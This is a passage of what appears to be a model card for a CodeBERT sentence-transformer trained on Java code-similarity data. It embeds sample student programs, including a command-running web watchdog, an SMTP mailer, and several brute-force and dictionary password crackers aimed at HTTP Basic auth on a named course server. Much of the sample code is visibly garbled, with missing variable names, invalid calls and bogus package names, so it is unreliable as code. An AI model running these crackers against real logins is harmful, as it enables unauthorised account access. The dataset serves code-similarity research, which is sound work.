client.getContent().toString();\n\ \n \n System.out.println(getClass().getName() +\n \ \ \" saved copy: \" + getURL());\n savedContent\ \ = readFile();\n\n \n System.out.println(getClass().getName()\ \ +\n \" Comparing saved and retrieved. \");\n \ \ if (!savedContent.equals(retrievedContent))\n {\n \ \ \n System.out.println(getClass().getName() +\n \ \ \" Difference found. \");\n\n writeTempFile();\n\ \ runCommand();\n }\n\n \n writeFile();\n\ \ }\n }\n\n\n \n public String runCommand()\n {\n String\ \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \ \ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\ \ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\ \ }\n catch (Exception e)\n {\n try\n \ \ {\n Runtime r = Runtime.getRuntime();\n Process\ \ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \ \ {\n System.out.println(getClass().getName()\n \ \ + \" Could not run :\"\n + getCommand()\n \ \ + \" because : \"\n + ex.getMessage());\n \ \ }\n }\n\n return \"Executed successfully\";\n }\n\ \n \n protected String readFile() throws FileNotFoundException\n {\n\ \ BufferedInputStream input = null;\n FileInputStream file = null;\n\ \ StringBuffer content = new StringBuffer();\n try\n {\n\ \ file = new FileInputStream(getFileName());\n \n \ \ input = new BufferedInputStream(file);\n \n }\n \ \ catch (FileNotFoundException x)\n {\n System.err.println(\"\ File not found: \" + getFileName());\n throw x;\n }\n\n \ \ try\n {\n int ch;\n while ((ch = input.get())\ \ != -1)\n {\n content.append((char)ch);\n \ \ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\ \ }\n finally\n {\n if (input != null)\n \ \ {\n try\n {\n input.get();\n\ \ file.get();\n }\n catch (IOException\ \ e)\n {\n }\n }\n }\n \ \ return content.toString();\n }\n\n \n protected void writeFile() throws\ \ Exception\n {\n OutputStream os = null;\n try\n {\n\ \ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\ \ false));\n os.write(getRetrievedContent().getBytes());\n }\n\ \ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ \ throw e;\n }\n catch (IOException e)\n {\n \ \ e.printStackTrace();\n throw e;\n }\n finally\n\ \ {\n if (os != null)\n {\n try\n\ \ {\n os.close();\n }\n \ \ catch (IOException e)\n {\n }\n \ \ }\n }\n }\n\n \n protected void writeTempFile() throws\ \ Exception\n {\n OutputStream os = null;\n try\n {\n\ \ os = new BufferedOutputStream(\n new FileOutputStream(\"\ .html\", false));\n os.write(getRetrievedContent().getBytes());\n \ \ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ \ throw e;\n }\n catch (IOException e)\n {\n \ \ e.printStackTrace();\n throw e;\n }\n finally\n\ \ {\n if (os != null)\n {\n try\n\ \ {\n os.close();\n }\n \ \ catch (IOException e)\n {\n }\n \ \ }\n }\n }\n\n public static void main(String[] args)\n \ \ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\ \ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\ \ System.out.println(watchDog.getClass().getName() +\n \ \ \": Initialising with \" +\n args[0] + \" \\n\"\ \ +\n args[1] + \" \\n\" +\n args[2]\ \ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\ \ watchDog.setCommand(args[2]);\n\n \n try\n {\n \ \ System.out.println(watchDog.getClass().getName() + \": Invoking the\ \ run method.\");\n watchDog.run();\n }\n catch (Exception\ \ e)\n {\n e.printStackTrace();\n }\n }\n\n public\ \ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\ \ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\ \ this.getClass().getName() +\n \" \\n\\n\");\n\n return s.toString();\n }\n\n \n public\ \ String getCommand()\n {\n return command;\n }\n\n \n public\ \ String getFileName()\n {\n return fileName;\n }\n\n \n public\ \ int getInterval()\n {\n return interval;\n }\n\n \n public\ \ String getURL()\n {\n return URL;\n }\n\n \n public void\ \ setCommand(String string)\n {\n command = string;\n }\n\n \n\ \ public void setFileName(String string)\n {\n fileName = string;\n\ \ }\n\n \n public void setInterval(int i)\n {\n interval =\ \ i;\n }\n\n \n public void setURL(String string)\n {\n URL\ \ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \ \ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\ \ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\ \ string)\n {\n retrievedContent = string;\n }\n\n \n public\ \ void setSavedContent(String string)\n {\n savedContent = string;\n\ \ }\n\n}\n" - "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\ \ class MyMail implements Serializable\n{\n\t\n\n\t\n\tpublic static final int\ \ SMTPPort = 25;\n\n\t\n\tpublic static final char successPrefix = '2';\n\n\t\n\ \tpublic static final char morePrefix = '3';\n\n\t\n\tpublic static final char\ \ failurePrefix = '4';\n\n\t\n\n\t\n\tprivate static final String CRLF = \"\\\ r\\n\";\n\n\t\n\tprivate String mailFrom = \"\";\n\n\t\n\tprivate String mailTo\ \ = \"\";\n\n\t\n\tprivate String messageSubject = \"\";\n\n\t\n\tprivate String\ \ messageBody = \"\";\n\n\t\n\tprivate String mailServer = \"\";\n\n\t\n\tpublic\ \ MyMail ()\n\t{\n\t\t\n\t\tsuper();\n\t}\n\n\t\n\tpublic MyMail ( String serverName)\n\ \t{\n\t\t\n\t\tsuper();\n\n\t\t\n\t\tmailServer = serverName;\n\t}\n\n\t\n\tpublic\ \ String getFrom()\n\t{\n\t\treturn mailFrom;\n\t}\n\n\t\n\tpublic String getTo()\n\ \t{\n\t\treturn mailTo;\n\t}\n\n\t\n\tpublic String getSubject()\n\t{\n\t\treturn\ \ messageSubject;\n\t}\n\n\t\n\tpublic String getMessage()\n\t{\n\t\treturn messageBody;\n\ \t}\n\n\t\n\tpublic String getMailServer()\n\t{\n\t\treturn mailServer;\n\t}\n\ \n\t\n\tpublic void setFrom( String from )\n\t{\n\t\t\n\t\tmailFrom = from;\n\t\ }\n\n\t\n\tpublic void setTo ( String To )\n\t{\n\t\t\n\t\tmailTo = To;\n\t}\n\ \n\t\n\tpublic void setSubject ( String subject )\n\t{\n\t\t\n\t\tmessageSubject\ \ = subject;\n\t}\n\n\t\n\tpublic void setMessage ( String msg )\n\t{\n\t\t\n\t\ \tmessageBody = msg;\n\t}\n\n\t\n\tpublic void setMailServer ( String server )\n\ \t{\n\t\t\n\t\tmailServer = server;\n\t}\n\n\t\n\tprivate boolean responseValid(\ \ String response )\n\t{\n\t\t\n\n\t\t\n\t\tif (response.indexOf(\" \") == -1)\n\ \t\t\t\n\t\t\treturn false;\n\n\t\t\n\t\tString cad = response.substring( 0, response.indexOf(\"\ \ \"));\n\n\t\t\n\t\tcad = cad.toUpperCase();\n\n\t\t\n\t\tif (( cad.charAt(0)\ \ == successPrefix ) ||\n\t\t ( cad.charAt(0) == morePrefix ) )\n\t\t\t\n\t\ \t\t\treturn true;\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t}\n\n\t\n\ \tpublic void sendMail()\n\t{\n\t\ttry {\n\t\tString response;\n\n\t\t\n\t\tSocket\ \ mailSock = new Socket (mailServer, SMTPPort);\n\n\t\t\n\t\tBufferedReader bf\ \ = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));\n\t\ \tPrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));\n\ \n\t\t\n\t\tSystem.out.println(\"1\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\ \t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" +\ \ response);\n\n\t\t\n\t\ttry\n\t\t{\n\t\t\tInetAddress addr = InetAddress.getLocalHost();\n\ \n\t\t\tString localHostname = addr.getHostName();\n\t\t\t\n\t\t\tpout.print (\"\ HELO \" + localHostname + CRLF);\n\t\t}\n\t\tcatch (UnknownHostException uhe)\n\ \t\t{\n\t\t\t\n\t\t\tpout.print (\"HELO myhostname\" + CRLF);\n\t\t}\n\n\t\t\n\ \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"2\");\n\t\tresponse = bf.readLine();\n\ \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\ \ - \" + response);\n\n\t\t\n\t\tpout.println (\"MAIL From:<\" + mailFrom + \"\ >\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"3\");\n\t\t\ response = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\t\ throw new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"RCPT\ \ :<\" + mailTo + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"\ 4\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response)\ \ )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println\ \ (\"DATA\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"5\"\ );\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\ \t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\t\n\t\tpout.println\ \ (\"From: \" + mailFrom);\n\t\tpout.println (\": \" + mailTo);\n\t\tpout.println\ \ (\"Subject: \" + messageSubject);\n\n\t\t\n\t\tpout.println ();\n\n\t\t\n\t\t\ pout.println (messageBody);\n\n\t\t\n\t\tpout.println (\".\\n\\r\");\n\n\t\t\n\ \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"6\");\n\t\tresponse = bf.readLine();\n\ \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\ \ - \" + response);\n\n\t\t\n\t\tpout.println (\"QUIT\");\n\n\t\t\n\t\tpout.flush();\n\ \n\t\t\n\t\tmailSock.close();\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\ \tSystem.out.println(ioe.getMessage());\n\t\t}\n\t}\n\n}" - "\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\npublic class WatchDog\n\ {\n private Vector init;\n public WatchDog()\n {\n try\n {\n \ \ Runtime run = Runtime.getRuntime();\n String command_line = \"lynx\ \ http://www.cs.rmit.edu./students/ -dump\";\n Process result = run.exec(command_line);\n\ \ BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ \ String inputLine;\n init = new Vector();\n while ((inputLine\ \ = in.readLine()) != null)\n {\n init.addElement(inputLine);\n \ \ }\n \n }catch(Exception e)\n {\n }\n }\n public static\ \ void main(String args[])\n {\n WatchDog wd = new WatchDog();\n wd.nextRead();\n\ \ }\n\n public void nextRead()\n {\n while(true)\n {\n ScheduleTask\ \ sch = new ScheduleTask(init);\n if(sch.getFlag()!=0)\n {\n \ \ System.out.println(\"change happen\");\n WatchDog wd = new WatchDog();\n\ \ wd.nextRead();\n }\n \n }\n }\n}" - source_sentence: "import java.*;\nimport java.io.*;\npublic class C\n{\n public\ \ static void main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n\ \ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \ \ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n\ \ {\n if (w==1)\n i+=32;\n for(int j =\ \ 0; j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n\ \ if(n==1)\n j+=32;\n for(int k = 0; k<26\ \ ; k++)\n {\n for(m=0; m<2; m++)\n \ \ {\n if(m==1)\n k+=32;\n \ \ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \ \ String str = new String(data);\n System.out.println(str);\n\ \ FileWriter fr1 = new FileWriter(file,true);\n \ \ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\ \ in1.newLine();\n in1.print();\n \ \ if (k>=31)\n k-=32;\n \ \ }\n }\n if(j>=31)\n j=j-32;\n \ \ }\n }\n if(i>=31)\n i-=32;\n \ \ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\ );\n}\n}\n}\n" sentences: - "\n\npublic class Base64 {\n\n\tfinal static String baseTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\ ;\n\n\t\n\tpublic static String encode(byte[] bytes) {\n\n\t\tString tmp = \"\"\ ;\n\t\tint i = 0;\n\t\tbyte pos; \n\n\t\tfor(i=0; i < (bytes.length - bytes.length%3);\ \ i+=3) {\n\n\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\ttmp = tmp + baseTable.charAt(pos);\ \ \n\n\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\ \t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\n\t\t\tpos = (byte) (((bytes[i+1]\ \ & 15) << 2) + ((bytes[i+2] >> 6) & 3));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\ \t\t\n\t\t\tpos = (byte) (((bytes[i+2]) & 63));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\ \t\t\n\t\t\t\n\t\t\t\n\t\t\tif(((i+2)%56) == 0) {\n\t\t\t\ttmp = tmp + \"\\r\\\ n\";\n\t\t\t}\n\t\t}\n\n\t\tif(bytes.length % 3 != 0) {\n\n\t\t\tif(bytes.length\ \ % 3 == 2) {\n\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp =\ \ tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) (((bytes[i] & 3) << 4)\ \ + ((bytes[i+1] >> 4) & 15)); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\ \t\t\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i+1] & 15) << 2);\n\t\t\t\ttmp = tmp\ \ + baseTable.charAt(pos);\n\t\t\t\n\t\t\t\ttmp = tmp + \"=\";\n\n\t\t\t} else\ \ if(bytes.length % 3 == 1) {\n\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i] >> 2)\ \ & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte)\ \ ((bytes[i] & 3) << 4); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\ \t\t\t\n\t\t\t\ttmp = tmp + \"==\";\n\t\t\t}\n\t\t}\n\t\treturn tmp;\n\n\t}\n\n\ \t\n\tpublic static String encode(String src) {\n\t\t\n\t\treturn encode(src.getBytes());\t\ \n\t}\n\n\tpublic static byte[] decode(String src) throws Exception {\n\n\t\t\ byte[] bytes = null;\n\n\t\tStringBuffer buf = new StringBuffer(src);\n\n\t\t\n\ \t\tint i = 0;\n\t\tchar c = ' ';\n\t\tchar oc = ' ';\n\t\twhile( i < buf.length())\ \ {\t\t\t\n\t\t\toc = c; \n\t\t\tc = buf.charAt(i);\n\t\t\tif( oc == '\\r' &&\ \ c == '\\n') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\tbuf.deleteCharAt(i-1);\n\ \t\t\t\ti -= 2;\n\t\t\t} else if( c == '\\t') {\n\t\t\t\tbuf.deleteCharAt(i);\n\ \t\t\t\ti --;\n\t\t\t} else if( c == ' ') {\n\t\t\t\ti --;\n\t\t\t}\n\t\t\ti++;\n\ \t\t}\n\n\t\t\n\t\tif(buf.length() % 4 != 0) {\n\t\t\tthrow new Exception(\"Base64\ \ decoding invalid length\");\n\t\t}\n\n\t\t\n\t\tbytes = new byte[3 * (buf.length()\ \ / 4)];\n\t\t\n\t\t\n\t\tint index = 0;\n\t\t\n\t\t\n\t\tfor(i = 0; i < buf.length();\ \ i+=4) {\n\n\t\t\tbyte data = 0;\n\t\t\tint nGroup = 0;\n\n\t\t\tfor(int j =\ \ 0; j < 4; j++) {\n\n\t\t\t\tchar theChar = buf.charAt(i + j); \n\n\t\t\t\tif(theChar\ \ == '=') {\n\t\t\t\t\tdata = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdata = getBaseTableIndex(theChar);\ \ \n\t\t\t\t}\n\n\t\t\t\tif(data == -1) {\n\t\t\t\t\tthrow new Exception(\"Base64\ \ decoding bad character\");\n\t\t\t\t}\n\n\t\t\t\tnGroup = 64*nGroup + data;\n\ \t\t\t}\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 16));\n\t\t\tindex ++;\n\ \n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 8));\n\t\t\tindex ++;\n\n\t\t\t\ bytes[index] = (byte) (255 & (nGroup));\n\t\t\tindex ++;\n\t\t}\n\t\t\n\t\tbyte[]\ \ newBytes = new byte[index];\n\t\tfor(i = 0; i < index; i++) {\n\t\t\tnewBytes[i]\ \ = bytes[i];\n\t\t}\n\n\t\treturn newBytes;\n\t}\n\n\t\n\tprotected static byte\ \ getBaseTableIndex(char c) {\n\t\t\n\t\tbyte index = -1;\n\n\t\tfor(byte i =\ \ 0; i < baseTable.length(); i ++) {\n\t\t\n\t\t\tif(baseTable.charAt(i) == c)\ \ {\n\t\t\t\tindex = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn index;\n\ \t}\n}" - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\n\ public class BruteForce\n{\n public BruteForce()\n {}\n\n public boolean fetchURL(String\ \ urlString,String username,String password)\n {\n StringWriter = new StringWriter();\n\ \ PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString);\ \ \n String userPwd= username+\":\"+password;\n\n \n \n \ \ \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n \ \ String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println(\"\ Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \"\ \ + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection();\ \ \n huc.setRequestProperty( \"Authorization\",\" \"+encodedStr); \n\ \ InputStream content = (InputStream)huc.getInputStream();\n BufferedReader\ \ in = \n new BufferedReader (new InputStreamReader (content));\n \ \ String line;\n while ((line = in.readLine()) != null) {\n pw.println\ \ (line);\n System.out.println(\"*************************************************\"\ );\n System.out.println(sw.toString());\n }return true;\n } catch\ \ (MalformedURLException e) {\n pw.println (\"Invalid URL\");\n return\ \ false;\n } catch (IOException e) {\n pw.println (\"Error URL\");\n\ \ return false;\n }\n\n }\n\n public void getPassword()\n { \n \ \ String alps=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n \ \ String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n String login=\"\ \";\n String pwd=\" \";\n\n startTime=System.currentTimeMillis();\n \ \ for(int oneChar=0;oneChar>= 6;\n out[index+2]\ \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ \ for( int ix=0; ix 255)\ \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ \ \n for (int ix=0; ix255)?\ \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ \ accum <<= 6; \n shift += 6; \n\ \ accum |= value; \n if ( shift >= 8 ) \n\ \ {\n shift -= 8; \n out[index++]\ \ = \n (byte) ((accum >> shift) & 0xff);\n \ \ }\n }\n \n \n \n \n \n \n \ \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ \ = 63;\n}\n}" - source_sentence: "\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n\ {\n private String myUsername = \"\";\n private String myPassword = \"\";\n\ \ private String urlToCrack = \"http://sec-crack.cs.rmit.edu./SEC/2\";\n\n\n\ \ public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n\ \ }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\ \n public void generatePassword()\n {\n try\n {\n BufferedReader\ \ = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n \ \ \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n\ \ } while (myPassword != null);\n }\n catch(IOException e)\n\ \ { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n\ \ {\n String data, dataToEncode, encodedData;\n\n try\n {\n \ \ URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername\ \ + \":\" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\ \n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty\ \ (\"Authorization\", \" \" + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n\ \ InputStreamReader isr = new InputStreamReader(is);\n BufferedReader\ \ bf = new BufferedReader (isr);\n\n \n {\n data\ \ = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n\ \ } while (data != null);\n }\n catch (IOException e)\n \ \ { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n\ \ System.out.println(\"\\nThe cracked password is : \" + foundPassword);\n\ \ System.exit(0);\n }\n}\n\n\n" sentences: - "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\ \ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\ \ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\ \ {\n strFilepath = filepath;\n try {\n fWordFile = new\ \ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\ \ }\n catch(Exception e)\n {\n System.out.println(\"\ Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\ \ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\ \ try {\n strCurrWord = in.readLine();\n \n \ \ \n \n }\n catch (Exception e)\n {\n \ \ \n return null;\n }\n \n return\ \ strCurrWord;\n }\n \n}\n" - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\ \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\ \ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ .toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\ \ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\ \ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\ \ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\ \ i = 0; i \"\ );\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\ \ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\ \ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\ \ String password = bruteForce1.crackPassword(args[1]);\n if(password\ \ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \ \ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \ \ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\ \ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\ \ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\ \ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\ \ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\ \ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\ \ }\n }\n}" - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class\ \ Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n\ \ Calendar cal = Calendar.getInstance();\n Date now=cal.getTime();\n\ \ double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\ \t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static\ \ String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint\ \ requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"\ /usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\ \n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\ \t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\ \t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\ \t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException\ \ ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean\ \ testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\ \t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n\n\t\t\tHttpURLConnection connection;\n\n \t\tString userPassword = \"\ :\" + password;\n\n \t\t\n \t\tString encoding = new url.misc.BASE64Encoder().encode\ \ (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection\ \ = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"\ Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\ \n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\ \t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \"\ \ milliseconds find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \"\ \ + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\ \treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\t\ System.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException\ \ MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\ \treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\ \t{\n\t\t\n\t\t\n Calendar cal = Calendar.getInstance();\n Date\ \ now=cal.getTime();\n double endTime = now.getTime();\n\n return\ \ endTime-startTime;\n\n\t}\n\n}\n" pipeline_tag: sentence-similarity library_name: sentence-transformers --- # SentenceTransformer based on microsoft/codebert-base This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - **Model Type:** Sentence Transformer - **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 768 dimensions - **Similarity Function:** Cosine Similarity ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST") # Run inference sentences = [ '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n private String myUsername = "";\n private String myPassword = "";\n private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\n public void generatePassword()\n {\n try\n {\n BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n } while (myPassword != null);\n }\n catch(IOException e)\n { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n {\n String data, dataToEncode, 